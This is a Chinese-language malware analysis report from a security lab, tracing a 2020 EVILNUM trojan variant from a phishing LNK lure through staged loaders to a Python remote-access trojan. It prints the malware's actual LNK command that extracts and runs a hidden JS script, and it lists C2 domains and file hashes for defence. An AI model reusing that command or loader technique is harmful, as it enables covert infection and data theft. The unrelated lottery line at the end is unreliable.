金融木馬EVILNUM再次變種,當心隱私信息及財產被盜??!

2020-07-22 來源:安全豹作者:HR

概述

近期金山毒霸安全實驗室監控到金融木馬EVILNUM新變種。樣本攜帶的誘餌PDF由英國能源公司first-utility的PDF賬單、銀行卡、駕照圖片組成,如下圖所示。通過誘餌文件內容進行關聯,發現此批樣本創建時間均為2018-02-13 07:29:00,出現時間集中在2020年4月至今,早期版本攻擊類型LNK+JSRAT方式,從5月開始出現LNK+JS+PE+PYTHONRAT的攻擊方式。通過對其JSLoader關聯分析,確定其為EVILNUM新變種。


image-20200720104325320

演變歷程:

根據情報,EVILNUM最早可以追溯到2018年。其顯著特征是使用LNK文件進行攻擊,末端載荷多采用腳本實現,通過JS+外部工具的方式竊取情報,其腳本可能會加載多家惡意軟件即服務(MaaS)提供商的后門程序以及c#惡意組件,過去其攻擊流程中的C2均采用云盤、社交網站、圖床一類的網站作為信息存儲,此次捕獲的樣本采用了一些比較有迷惑性的域名,如CRM、VOIP等服務類關鍵字域名進行偽裝。

傳播方式:

樣本通過魚叉式電子郵件發送,其中包含指向云盤上托管的ZIP文件的鏈接,壓縮文件內包含LNK攻擊文件,其誘餌文件為金融機構開設新帳戶時需要提供的截圖文件。

攻擊目標:

Evilnum集團的主要目標是金融技術公司,監視并竊取目標公司及其客戶的財務信息。重點竊取金融文檔和憑據:

  • 1.客戶清單,投資和交易操作的電子表格和文檔
  • 2.內部文檔
  • 3.交易軟件/平臺的軟件許可和憑證
  • 4.瀏覽器的Cookies
  • 5.郵件憑證
  • 6.信用卡信息和身份證明文件

正文

該樣本目前更新活躍,其Loader和攻擊載荷也在不斷迭代,行文分析樣本為7月最新。樣本偽裝成PDF圖標,實則為快捷方式LNK文件,運行后通過解析LNK自身攜帶的數據,釋放出賬單PDF并打開以迷惑用戶,同時釋放出偽裝成java程序的ddpp.exe并創建計劃任務,待計劃任務啟動ddpp.exe后樣本通過對自身攜帶的部分數據進行解密執行后與crm-domain.net通訊,通過云控手段獲取下一步操作,現階段取得得數據經過解密執行后釋放出fplayer.exe該文件偽裝成NVDIA驅動相關程序,通過計劃任務持久化,fplayer.exe經過多次解密最終與云端通訊,現階段獲取得數據經過解密后其行為為內存加載exe操作,其加載程序為py2exe打包得python程序,通過對該程序解包、反混淆、反編譯,最終得到其python源碼為遠控程序。

image-20200709131820625

木馬文件落地部分攻擊流程如上圖所示,木馬實際為偽裝成PDF的LNK文件,攻擊流程采用多段式加載,多種對抗,包含多個云控接口,可根據云控靈活配置升級,行文將通過四部分進行敘述。


一、LNK執行階段

C:\Windows\System32\cmd.exe /c path=%windir%\system32&move "VerificationDocuments.pdf.lnk" "%tmp%\1.lnk"&type "%tmp%\1.lnk"|find "END2">"%tmp%\0.js"&wscript "%tmp%\0.js"?

LNK啟動后將自身移動到temp目錄下1.lnk,此后通過標記"END2"提取出附加的JS腳本并執行。JS腳本運行后,獲取APPDATA路徑,拼湊釋放路徑,如圖1。image-20200709141501326

圖1

從1.LNK讀取偏移2505-684612位置的PDF文件釋放,并運行,以達到偽裝效果。如圖2。

image-20200709141944310

圖2

將自身拷貝到%appdata%\Microsoft\Credentials\MediaPlayer\VideoManager\media.js再次運行,通過判斷腳本所在目錄決定是否釋放PE,條件滿足則讀取1.lnk偏移687117-262144之間的數據釋放PE文件。并為其創建計劃任務。如圖3。

image-20200709145228717

圖3

釋放PE后,腳本對LNK、JS、相關工作目錄進行自刪除,至此JS執行完畢,LNK階段工作執行完畢。


二、ddpp.exe執行階段

ddpp.exe在當前執行階段起升級部署作用,在分析時云控代碼執行的行為為部署fplayer.exe,其內部代碼經過充分偽裝,靜態查看與JAVA進程非常接近,內部API調用采用底層調用方式,對抗API斷點,長時間Sleep對抗沙箱行為檢測。

ddpp啟動后讀取自身偏移0x9526處的數據,進行解密,解密后數據如圖4。

image-20200709154850529

圖4

由于其解密方式與下文fplayer.exe中代碼解密方式一致,限于篇幅,故此處暫略過解密過程,下文敘述其解密規則。解密完成后將代碼按照其配置分段拷貝到堆空間指定位置處,之后對地址進行重定位,計算API地址填充修復,最終創建線程執行解密后的代碼。如圖5。

image-20200709155911852

圖5

代碼執行后,獲取命令行參數,根據參數構建通訊GET請求。通過GET方式獲取云控數據。如圖6。

image-20200709163841376

圖6

通過加載云控邏輯,釋放fplayer.exe到%appdata%\Microsoft\Media Player\Player\下,該程序與ddpp.exe類似偽裝成英偉達驅動相關程序,其實際工作內容仍然靠云控下發。圖7為文件釋放并為其創建計劃任務啟動。

image-20200709171933763

圖7

至此ddpp.exe云控代碼執行完成后退出,fplayer最終承載了工作任務的加載,ddpp現階段云控下發功能只是部署升級,整體流程如圖8。

image-20200709174619269

圖8


三、fplayer.exe執行階段

fplayer.exe與ddpp.exe有諸多相似之處,上文未提及配置信息數據結構,將在此節敘述。相比ddpp,fplayer請求接口有變更,參數更少。其作用為整個攻擊鏈條的末端載體。fplayer啟動后讀取自身0x9b偏移處信息,解密并將其按配置向堆空間中部署,如圖9。

image-20200709193438915

圖9

其配置頭部結構如下:

struct EncryptInfo
{
    byte xorKeyLength;
    char keyTable[xorKeyLength];
    DWORD dataSize;
    char dataBegin[dataSize];
}

其后續代碼根據key表對data進行循環異或解密數據,程序中字符串相關解密操作也遵循此方式。數據起始位置記錄著相關代碼和函數信息,結構如下:

image-20200709194837342

struct DataInfo
 {
     byte unKnown;
     DWORD codeImageBase;
     DWORD unKnown1;
     DWORD codeEpOffset;
     DWORD codeTableCount;
     DWORD codeInfoOffset1;
     DWORD codeInfoOffset2;
     ...
 }

轉到codeInfo結構,其配置對應的是需要內存執行的代碼信息。如下圖,結構如下:

image-20200709200245910

 struct CodeInfo
 {
     byte  index;
     DWORD codeCopyOffset
     DWORD codeSize;
     DWORD unKnown;
     char codeBegin[codeSize];
 }

與ddpp類似在堆中指定位置部署好代碼之后,創建線程執行堆代碼。相似過程不在贅述。以上配置結構適用于云端下發配置信息結構。堆空間代碼執行后,獲取命令行參數,構建GET請求,獲取最新云端指令。如圖10。

image-20200709201723631

圖10

通過解析云端配置,最終加載內存PE,如圖11。該PE為py2exe打包的python程序,其字節碼進行了混淆,對抗反編譯,通過反混淆,最終獲得其攜帶腳本,下文將對py2exe程序展開分析。

image-20200709203127503

圖11


四、PythonRat加載執行階段

通過dump內存獲取其原始加載程序,經過分析其為py2exe打包的python程序,通過對其資源處理獲取被打包的pyc腳本,經過反混淆處理后,反編譯后如圖12。

image-20200716153156448

圖12

腳本通過zlib和base64處理后進一步執行,通過進一步分析,此處為一python包裝器,其核心功能為解析自身壓縮數據,最終通過memimporter將main.pyc和其他依賴庫加載在內存中執行。如圖13、14。

image-20200716154357981

圖13

image-20200716155001347

圖14

至此到達核心工作流程,通過對memimporter相關數據反混淆、反編譯,最終確定其核心流程為遠控木馬,木馬與以下地址通訊,獲取指令執行。如圖15。

image-20200716160552195

圖15

木馬采用http協議通訊,具有截屏、命令執行、反向SSH Shell、進程操作、文件操作、注冊表操作等功能。圖16為遠控簡要工作流程。

image-20200716192916965

圖16

下表為遠控包含的部分工具類函數表,通過函數名稱,不難看出,遠控功能豐富,擴展性極強,擁有多種持久化方式和多種命令控制方式。

TIM截圖20200722185924

總結

此EVILNUM變種木馬,攻擊流程采用多段式加載,多層次內存裝載PE,包含多個云控接口,通過休眠、混淆、云端指令隨機化等對抗分析查殺,作者精心構造了多個loader,甚至最終內存加載的py2exe啟動后仍然還是內存加載pyc執行,可謂是煞費苦心,分析過程中木馬成活躍狀態,不斷有新的C2加入,截止報告完成時間,有多個C2地址注冊時間未超過一個月。其最終攻擊載荷使用python開發,開發成本低,還會在一定程度上干擾溯源準確性,從反編譯結果觀察,部分功能尚未完善,仍在加入新功能。金山毒霸安全實驗室提醒用戶,不要點擊來歷不明的郵件、壓縮包,從而可以降低用戶隱私信息被盜取的風險。金山毒霸可以查殺此木馬,當殺毒軟件報毒時,切勿輕易點擊放行,若懷疑誤報,可向殺軟工作人員核實后再運行。

TIM截圖20200723145504

IOC

MD5

FC00819C4CDC8609313041CF345A7DCA

F7673B6855C72B780FDD863D098DA693

07717219943E911AC4CFB8E485A99CFB

ECDD7454EAE355012DFED03377D6D945

C2

hxxp://crm-domain[.]net

hxxp://leads-management[.]net

hxxp://telecomwl[.]com

hxxp://voipasst[.]com


參考

https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html

https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/


? 浙江11选5前三直遗漏